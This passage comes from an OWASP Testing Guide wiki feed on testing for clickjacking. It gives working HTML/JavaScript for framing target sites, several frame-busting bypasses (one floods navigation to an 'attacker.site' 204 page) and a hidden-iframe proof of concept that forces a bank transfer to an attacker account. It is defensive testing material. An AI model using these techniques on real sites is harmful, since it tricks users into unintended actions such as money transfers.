Once the victim is surfing on the fictitious web page, he thinks that he is interacting with the visible user interface, but effectively he is performing actions on the hidden page. Since the hidden page is an authentic page, the attacker can deceive users into performing actions which they never intended to perform through an &amp;quot;ad hoc&amp;quot; positioning of the elements in the web page.  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Image:Masked_iframe.png|400px|thumb|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The power of this method is due to the fact that the actions performed by the victim are originated from the authentic target web page (hidden but authentic). Consequently some of the anti-CSRF protections, that are deployed by the developers to protect the web page from CSRF attacks, could be bypassed.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===How to Test===&lt;br /&gt;
As mentioned above, this type of attack is often designed to allow an attacker site to induce user's actions on the target site even if anti-CSRF tokens are being used. So it's important, like for the CSRF attack, to individuate web pages of the target site that it take input from the user.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
We have to discover if the website that we are testing has no protections against clickjacking attacks or, if the developers have implemented some forms of protection, if these techniques are liable to bypass. Once we know that the website is vulnerable, we can create a &amp;quot;proof of concept&amp;quot; to exploit the vulnerability. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The first step to discover if a website is vulnerable, is to check if the target web page could be loaded into an iframe.&lt;br /&gt;
To do this you need to create a simple web page that includes a frame containing the target web page. The HTML code to create this testing web page is displayed in the following snippet:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
   &amp;lt;head&amp;gt;&lt;br /&gt;
     &amp;lt;title&amp;gt;Clickjack test page&amp;lt;/title&amp;gt;&lt;br /&gt;
   &amp;lt;/head&amp;gt;&lt;br /&gt;
   &amp;lt;body&amp;gt;&lt;br /&gt;
     &amp;lt;p&amp;gt;Website is vulnerable to clickjacking!&amp;lt;/p&amp;gt;&lt;br /&gt;
     &amp;lt;iframe src=&amp;quot;http://www.target.site&amp;quot; width=&amp;quot;500&amp;quot; height=&amp;quot;500&amp;quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;
   &amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&lt;br /&gt;
If you can see both the text &amp;quot;Website is vulnerable to clickjacking!&amp;quot; at the top of the page and your target web page successfully loaded into the frame, then your site is vulnerable and has no type of protection against Clickjacking attacks. Now you can directly create a &amp;quot;proof of concept&amp;quot; to demonstrate that an attacker could exploit this vulnerability.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Bypass Clickjacking protection:===&lt;br /&gt;
In case in which you only see the target site or the text &amp;quot;Website is vulnerable to clickjacking!&amp;quot; but nothing in the iframe this mean that the target probably has some form of protection against clickjacking. It’s important to note that this isn’t a guarantee that the page is totally immune to clickjacking.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Methods to protect a web page from clickjacking can be divided in two macro-categories:&lt;br /&gt;
* Client side protection: Frame Busting&lt;br /&gt;
* Server side protection: X-Frame-Options&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In some circumstances, every single type of defense could be bypassed. Following are presented the main methods of protection from these attacks and techniques to bypass them.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Client side protection: Frame Busting====&lt;br /&gt;
The most common client side method, that has been developed to protect a web page from clickjacking, is called Frame Busting and it consists of a script in each page that should not be framed. The aim of this technique is to prevent a site from functioning when it is loaded inside a frame. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The structure of frame busting code typically consists of a &amp;quot;conditional statement&amp;quot; and a &amp;quot;counter-action&amp;quot; statement.&lt;br /&gt;
For this type of protection, there are some work arounds that fall under the name of &amp;quot;Bust frame busting&amp;quot;. Some of this techniques are browser-specific while others work across browsers. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mobile website version'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Mobile versions of the website are usually smaller and faster than the desktop ones, and they have to be less complex than the main application. Mobile variants have often less protection since there is the wrong assumption that an attacker could not attack an application by the smart phone. This is fundamentally wrong, because an attacker can fake the real origin given by a web browser, such that a non-mobile victim may be able to visit an application made for mobile users.&lt;br /&gt;
From this assumption follows that in some cases it is not necessary to use techniques to evade frame busting when there are unprotected alternatives, which allow the use of same attack vectors.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Double Framing'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Some frame busting techniques try to break frame by assigning a value to the &amp;quot;parent.location&amp;quot; attribute in the &amp;quot;counter-action&amp;quot; statement. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Such actions are, for example:&lt;br /&gt;
* self.parent.location = document.location&lt;br /&gt;
* parent.location.href = self.location&lt;br /&gt;
* parent.location = self.location&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This method works well until the target page is framed by a single page. However, if the attacker encloses the target web page in one frame which is nested in another one (a double frame), then trying to access to &amp;quot;parent.location&amp;quot; becomes a security violation in all popular browsers, due to the descendant frame navigation policy. This security violation disables the counter-action navigation.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Target site frame busting code (target site):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
if(top.location!=self.locaton) {&lt;br /&gt;
   parent.location = self.location;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Attacker’s  top frame (fictitious2.html):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;fictitious.html&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Attacker’s fictitious sub-frame (fictitious.html):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://target site&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Disabling javascript'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Since these type of client side protections relies on JavaScript frame busting code, if the victim has JavaScript disabled or it is possible for an attacker to disable JavaScript code, the web page will not have any protection mechanism against clickjacking. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There are three deactivation techniques that can be used with frames:&lt;br /&gt;
* Restricted frames with Internet Explorer: Starting from Internet Explorer 6, a frame can have the &amp;quot;security&amp;quot; attribute that, if it is set to the value &amp;quot;restricted&amp;quot;, ensures that JavaScript code, ActiveX controls, and re-directs to other sites do not work in the frame.&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://target site&amp;quot; security=&amp;quot;restricted&amp;quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Sandbox attribute: with HTML5 there is a new attribute called &amp;quot;sandbox&amp;quot;. It enables a set of restrictions on content loaded into the iframe. At this moment this attribute is only compatible with Chrome and Safari.&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://target site&amp;quot; sandbox&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Design mode: Paul Stone showed a security issue concerning the &amp;quot;designMode&amp;quot; that can be turned on in the framing page (via document.designMode), disabling JavaScript in top and sub-frame. The design mode is currently implemented in Firefox and IE8.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''onBeforeUnload event'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
The onBeforeUnload event could be used to evade frame busting code. This event is called when the frame busting code wants to destroy the iframe by loading the URL in the whole web page and not only in the iframe. The handler function returns a string that is prompted to the user asking confirm if he wants to leave the page. When this string is displayed to the user is likely to cancel the navigation, defeating traget's frame busting attempt. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The attacker can use this attack by registering an unload event on the top page using the following example code:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;h1&amp;gt;www.fictitious.site&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
   window.onbeforeunload = function()&lt;br /&gt;
   {&lt;br /&gt;
      return &amp;quot; Do you want to leave fictitious.site?&amp;quot;;&lt;br /&gt;
   }&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://target site&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The previous technique requires the user interaction but, the same result, can be achieved without prompting the user. To do this the attacker have to automatically cancel the incoming navigation request in an onBeforeUnload event handler by repeatedly submitting (for example every millisecond) a navigation request to a web page that responds with a &amp;quot;HTTP/1.1 204 No Content&amp;quot; header. &lt;br /&gt;
&lt;br /&gt;
Since with this response the browser will do nothing, the resulting of this operation is the flushing of the request pipeline, rendering the original frame busting attempt futile. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Following an example code: &lt;br /&gt;
&lt;br /&gt;
204 page:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
   header(&amp;quot;HTTP/1.1 204 No Content&amp;quot;);&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Attacker's page:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
	var prevent_bust = 0;&lt;br /&gt;
	window.onbeforeunload = function() {&lt;br /&gt;
		prevent_bust++;&lt;br /&gt;
	};&lt;br /&gt;
	setInterval(&lt;br /&gt;
		function() {&lt;br /&gt;
			if (prevent_bust &amp;gt; 0) {&lt;br /&gt;
				prevent_bust -= 2;&lt;br /&gt;
				window.top.location = &amp;quot;http://attacker.site/204.php&amp;quot;;&lt;br /&gt;
			}&lt;br /&gt;
		}, 1);&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://target site&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''XSS Filter'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Starting from Google Chrome 4.0 and from IE8 there were introduced XSS filters to protect users from reflected XSS attacks. Nava and Lindsay have observed that these kind of filters can be used to deactivate frame busting code by faking it as malicious code.&lt;br /&gt;
* &amp;lt;b&amp;gt;IE8 XSS filter&amp;lt;/b&amp;gt;: this filter has visibility into all parameters of each request and response flowing through the web browser and it compares them to a set of regular expressions in order to look for reflected XSS attempts. When the filter identifies a possible XSS attacks; it disables all inline scripts within the page, including frame busting scripts (the same thing could be done with external scripts). For this reason an attacker could induce a false positive by inserting the beginning of the frame busting script into a request's parameters.&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
Target web page frame busting code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
   if ( top != self ) &lt;br /&gt;
   {&lt;br /&gt;
      top.location=self.location;&lt;br /&gt;
   }&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Attacker code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=”http://target site/?param=&amp;lt;script&amp;gt;if”&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;b&amp;gt;Chrome 4.0 XSSAuditor filter&amp;lt;/b&amp;gt;: It has a little different behaviour compared to IE8 XSS filter, in fact with this filter an attacker could deactivate a &amp;quot;script&amp;quot; by passing its code in a request parameter. This enables the framing page to specifically target a single snippet containing the frame busting code, leaving all the other codes intact.&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
Target web page frame busting code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
   if ( top != self ) &lt;br /&gt;
   {&lt;br /&gt;
      top.location=self.location;&lt;br /&gt;
   }&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Attacker code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=”http://target site/?param=if(top+!%3D+self)+%7B+top.location%3Dself.location%3B+%7D”&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Redefining location'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
For several browser the &amp;quot;document.location&amp;quot; variable is an immutable attribute. However, for some version of Internet Explorer and Safari, it is possible to redefine this attribute. This fact can be exploited to evade frame busting code.&lt;br /&gt;
* &amp;lt;b&amp;gt;Redefining location in IE7 and IE8&amp;lt;/b&amp;gt;: it is possible to redefine &amp;quot;location&amp;quot; as it is illustrated in the following example. By defining &amp;quot;location&amp;quot; as a variable, any code that tries to read or to navigate by assigning &amp;quot;top.location&amp;quot; will fail due to a security violation and so the frame busting code is suspended.&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
   var location = &amp;quot;xyz&amp;quot;;&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://target site&amp;quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;b&amp;gt;Redefining location in Safari 4.0.4&amp;lt;/b&amp;gt;: To bust frame busting code with &amp;quot;top.location&amp;quot; it is possible to bind &amp;quot;location&amp;quot; to a function via defineSetter (through window), so that an attempt to read or navigate to the &amp;quot;top.location&amp;quot; will fail.&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
  window.defineSetter(&amp;quot;location&amp;quot; , function(){});&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://target site&amp;quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Server side protection: X-Frame-Options====&lt;br /&gt;
An alternative approach to client side frame busting code was implemented by Microsoft and it consists of an header based defense. This new &amp;quot;X-FRAME-OPTIONS&amp;quot; header is sent from the server on HTTP responses and is used to mark web pages that shouldn't be framed. This header can take the values DENY, SAMEORIGIN, ALLOW-FROM origin, or non-standard ALLOWALL. Recommended value is DENY.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The &amp;quot;X-FRAME-OPTIONS&amp;quot; is a very good solution, and was adopted by major browser, but also for this technique there are some limitations that could lead in any case to exploit the clickjacking vulnerability.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Browser compatibility'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Since the &amp;quot;X-FRAME-OPTIONS&amp;quot; was introduced in 2009, this header is not compatible with old browser. So every user that doesn't have an updated browser could be victim of clickjacking attack.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Browser !! Lowest version&lt;br /&gt;
|-&lt;br /&gt;
| Internet Explorer || 8.0 &lt;br /&gt;
|-&lt;br /&gt;
| Firefox (Gecko) || 3.6.9 (1.9.2.9) &lt;br /&gt;
|-&lt;br /&gt;
| Opera || 10.50 &lt;br /&gt;
|-&lt;br /&gt;
| Safari || 4.0&lt;br /&gt;
|-&lt;br /&gt;
| Chrome || 4.1.249.1042  &lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Proxies'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Web proxies are known for adding and stripping headers. In the case in which a web proxy strips the &amp;quot;X-FRAME-OPTIONS&amp;quot; header then the site loses its framing protection.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mobile website version'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Also in this case, since the &amp;quot;X-FRAME-OPTIONS&amp;quot; has to be implemented in every page of the website, the developers may have not protected the mobile version of the website.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Create a &amp;quot;proof of concept&amp;quot; ===&lt;br /&gt;
Once we have discovered that the site we are testing is vulnerable to clickjacking attack, we can proceed with the development of a &amp;quot;proof of concept&amp;quot; to demonstrate the vulnerability. It is important to note that, as mentioned previously, these attacks can be used in conjunction with other forms of attacks (for example CSRF attacks) and could lead to overcome anti-CSRF tokens.&lt;br /&gt;
In this regard we can imagine that, for example, the target site allows to authenticated and authorized users to make a transfer of money to another account.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Suppose that to execute the transfer the developers have planned three steps. In the first step the user fill a form with the destination account and the amount. In the second step, whenever the user submits the form, is presented a summary page asking the user confirmation (like the one presented in the following picture). &lt;br /&gt;
&lt;br /&gt;
[[Image:Clickjacking example step2.png|400px|thumb|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Following a snippet of the code for the step 2:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//generate random anti CSRF token&lt;br /&gt;
$csrfToken = md5(uniqid(rand(), TRUE));&lt;br /&gt;
&lt;br /&gt;
//set the token as in the session data&lt;br /&gt;
$_SESSION['antiCsrf'] = $csrfToken;&lt;br /&gt;
&lt;br /&gt;
//Transfer form with the hidden field&lt;br /&gt;
$form = '&lt;br /&gt;
&amp;lt;form name=&amp;quot;transferForm&amp;quot; action=&amp;quot;confirm.php&amp;quot; method=&amp;quot;POST&amp;quot;&amp;gt;&lt;br /&gt;
	  &amp;lt;div class=&amp;quot;box&amp;quot;&amp;gt;&lt;br /&gt;
		&amp;lt;h1&amp;gt;BANK XYZ - Confirm Transfer&amp;lt;/h1&amp;gt;&lt;br /&gt;
		&amp;lt;p&amp;gt;&lt;br /&gt;
		Do You want to confirm a transfer of &amp;lt;b&amp;gt;'. $_REQUEST['amount'] .' &amp;amp;euro;&amp;lt;/b&amp;gt; to account: &amp;lt;b&amp;gt;'. $_REQUEST['account'] .'&amp;lt;/b&amp;gt; ?&lt;br /&gt;
		&amp;lt;/p&amp;gt;&lt;br /&gt;
		&amp;lt;label&amp;gt;&lt;br /&gt;
			&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;amount&amp;quot; value=&amp;quot;' . $_REQUEST['amount'] . '&amp;quot; /&amp;gt;&lt;br /&gt;
			&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;account&amp;quot; value=&amp;quot;' . $_REQUEST['account'] . '&amp;quot; /&amp;gt;				&lt;br /&gt;
			&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;antiCsrf&amp;quot; value=&amp;quot;' . $csrfToken . '&amp;quot; /&amp;gt;&lt;br /&gt;
			&amp;lt;input type=&amp;quot;submit&amp;quot; class=&amp;quot;button&amp;quot; value=&amp;quot;Transfer Money&amp;quot; /&amp;gt;&lt;br /&gt;
		&amp;lt;/label&amp;gt;&lt;br /&gt;
		&lt;br /&gt;
	 &amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/form&amp;gt;';&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In the last step are planned security controls and then, if all is ok, the transfer is done. In the following listing a snippet of code of the last step is presented (&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: in this example, for simplicity, there is no input sanitization, but it has no relevance to block this type of attack):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
if( (!empty($_SESSION['antiCsrf'])) &amp;amp;&amp;amp; (!empty($_POST['antiCsrf'])) )&lt;br /&gt;
{&lt;br /&gt;
	  &lt;br /&gt;
	//here we can suppose input sanitization code…    &lt;br /&gt;
&lt;br /&gt;
    //check the anti-CSRF token&lt;br /&gt;
    if( ($_SESSION['antiCsrf'] == $_POST['antiCsrf']) )&lt;br /&gt;
    {&lt;br /&gt;
		echo '&amp;lt;p&amp;gt; '. $_POST['amount'] .' &amp;amp;euro; successfully transfered to account: '. $_POST['account'] .' &amp;lt;/p&amp;gt;';&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
else&lt;br /&gt;
{&lt;br /&gt;
	echo '&amp;lt;p&amp;gt;Transfer KO&amp;lt;/p&amp;gt;';&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
As you can see the code is protected from CSRF attack both with a random token generated in the second step and accepting only variable passed via POST method. In this situation an attacker could forge a CSRF + Clickjacking attack to evade anti-CSRF protection and force a victim to do a money transfer without her consent.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The target page for the attack is the second step of the money transfer procedure. Since the developers put the security controls only in the last step, thinking that this is secure enough, the attacker could pass the account and amount parameters via GET method. (&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: there is an advanced clickjacking attack that permits to force users to fill a form, so also in the case in which is required to fill a form, the attack is feasible).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The attacker's page may look like a simple and harmless web page like the one presented below:&lt;br /&gt;
&lt;br /&gt;
[[Image:clickjacking_example_malicious_page_1.png|400px|thumb|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
But playing with the CSS opacity value we can see what is hidden under the seemingly innocuous web page.&lt;br /&gt;
&lt;br /&gt;
[[Image:clickjacking_example_malicious_page_2.png|400px|thumb|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The clickjacking code to create this page is presented below:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
	&amp;lt;head&amp;gt;&lt;br /&gt;
		&amp;lt;title&amp;gt;Trusted web page&amp;lt;/title&amp;gt;&lt;br /&gt;
		&lt;br /&gt;
		&amp;lt;style type=&amp;quot;text/css&amp;quot;&amp;gt;&amp;lt;!-- &lt;br /&gt;
			*{ &lt;br /&gt;
				margin:0; &lt;br /&gt;
				padding:0;&lt;br /&gt;
			}&lt;br /&gt;
			body {  &lt;br /&gt;
				background:#ffffff;&lt;br /&gt;
			}&lt;br /&gt;
			.button&lt;br /&gt;
			{&lt;br /&gt;
				padding:5px;&lt;br /&gt;
				background:#6699CC;&lt;br /&gt;
				left:275px;&lt;br /&gt;
				width:120px;&lt;br /&gt;
				border: 1px solid #336699;&lt;br /&gt;
			}&lt;br /&gt;
			#content {&lt;br /&gt;
				width: 500px;&lt;br /&gt;
				height: 500px;&lt;br /&gt;
				margin-top: 150px ;&lt;br /&gt;
				margin-left: 500px;&lt;br /&gt;
			}&lt;br /&gt;
			#clickjacking&lt;br /&gt;
			{ &lt;br /&gt;
 				position: absolute; &lt;br /&gt;
				left: 172px; &lt;br /&gt;
				top: 60px; &lt;br /&gt;
				filter: alpha(opacity=0); &lt;br /&gt;
				opacity:0.0&lt;br /&gt;
			} &lt;br /&gt;
		//--&amp;gt;&amp;lt;/style&amp;gt;&lt;br /&gt;
		&lt;br /&gt;
	&amp;lt;/head&amp;gt;&lt;br /&gt;
	&amp;lt;body&amp;gt;&lt;br /&gt;
		&amp;lt;div id=&amp;quot;content&amp;quot;&amp;gt;&lt;br /&gt;
			&amp;lt;h1&amp;gt;www.owasp.com&amp;lt;/h1&amp;gt;&lt;br /&gt;
			&amp;lt;form action=&amp;quot;http://www.owasp.com&amp;quot;&amp;gt;&lt;br /&gt;
				&amp;lt;input type=&amp;quot;submit&amp;quot; class=&amp;quot;button&amp;quot; value=&amp;quot;Click and go!&amp;quot;&amp;gt;&lt;br /&gt;
			&amp;lt;/form&amp;gt;&lt;br /&gt;
		&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
                &amp;lt;iframe id=&amp;quot;clickjacking&amp;quot; src=&amp;quot;http://localhost/csrf/transfer.php?account=ATTACKER&amp;amp;amount=10000&amp;quot; width=&amp;quot;500&amp;quot; height=&amp;quot;500&amp;quot; scrolling=&amp;quot;no&amp;quot; frameborder=&amp;quot;none&amp;quot;&amp;gt;&lt;br /&gt;
                &amp;lt;/iframe&amp;gt;&lt;br /&gt;
	&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
With the help of CSS (note the #clickjacking block) we can mask and suitably position the iframe in such a way as to match the buttons. If the victim click on the button &amp;quot;Click and go!&amp;quot; the form is submitted and the transfer is completed.&lt;br /&gt;
&lt;br /&gt;
[[Image:clickjacking_example_malicious_page_3.png|400px|thumb|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The example presented uses only basic clickjacking technique, but with advanced technique is possible to force user filling form with values defined by the attacker.&lt;br /&gt;
&lt;br /&gt;
==Tools==&lt;br /&gt;
* Context Information Security: &amp;quot;Clickjacking Tool&amp;quot; - http://www.contextis.com/research/tools/clickjacking-tool/&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''OWASP Resources'''&lt;br /&gt;
* [[Clickjacking]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&lt;br /&gt;
* Marcus Niemietz: &amp;quot;UI Redressing: Attacks and Countermeasures Revisited&amp;quot; - http://ui-redressing.mniemietz.de/uiRedressing.pdf&lt;br /&gt;
* &amp;quot;Clickjacking&amp;quot; - https://en.wikipedia.org/wiki/Clickjacking&lt;br /&gt;
* Gustav Rydstedt, Elie Bursztein, Dan Boneh, and Collin Jackson: &amp;quot;Busting Frame Busting: a Study of Clickjacking Vulnerabilities on Popular Sites&amp;quot; - http://seclab.stanford.edu/websec/framebusting/framebust.pdf&lt;br /&gt;
* Paul Stone: &amp;quot;Next generation clickjacking&amp;quot; - https://media.blackhat.com/bh-eu-10/presentations/Stone/BlackHat-EU-2010-Stone-Next-Generation-Clickjacking-slides.pdf&lt;/div&gt;</summary>
		<author><name>Nvhaver</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Clickjacking_(OTG-CLIENT-009)&amp;diff=186320</id>
		<title>Testing for Clickjacking (OTG-CLIENT-009)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Clickjacking_(OTG-CLIENT-009)&amp;diff=186320"/>
				<updated>2014-12-01T19:25:17Z</updated>
		
		<summary type="html">&lt;p&gt;Nvhaver: /* Create a &amp;quot;proof of concept&amp;quot; */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
&amp;quot;Clickjacking&amp;quot; (which is a subset of the &amp;quot;UI redressing&amp;quot;) is a malicious technique that consists of deceiving a web user into interacting (in most cases by clicking) with something different to what the user believes they are interacting with. This type of attack, that can be used alone or in combination with other attacks, could potentially send unauthorized commands or reveal confidential information while the victim is interacting on seemingly harmless web pages. The term &amp;quot;Clickjacking&amp;quot; was coined by Jeremiah Grossman and Robert Hansen in 2008.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
A Clickjacking attack uses seemingly innocuous features of HTML and Javascript to force the victim to perform undesired actions, such as clicking on a button that appears to perform another operation. This is a &amp;quot;client side&amp;quot; security issue that affects a variety of browsers and platforms.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
To carry out this type of technique the attacker has to create a seemingly harmless web page that loads the target application through the use of an iframe (suitably concealed through the use of CSS code). Once this is done, the attacker could induce the victim to interact with his fictitious web page by other means (like for example social engineering). Like others attacks, an usual prerequisite is that the victim is authenticated against the attacker's target website.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Image:clickjacking_description.png|400px|thumb|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Once the victim is surfing on the fictitious web page, he thinks that he is interacting with the visible user interface, but effectively he is performing actions on the hidden page. Since the hidden page is an authentic page, the attacker can deceive users into performing actions which they never intended to perform through an &amp;quot;ad hoc&amp;quot; positioning of the elements in the web page.  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Image:Masked_iframe.png|400px|thumb|center]]&lt;br /&gt;
&lt;br /&gt;
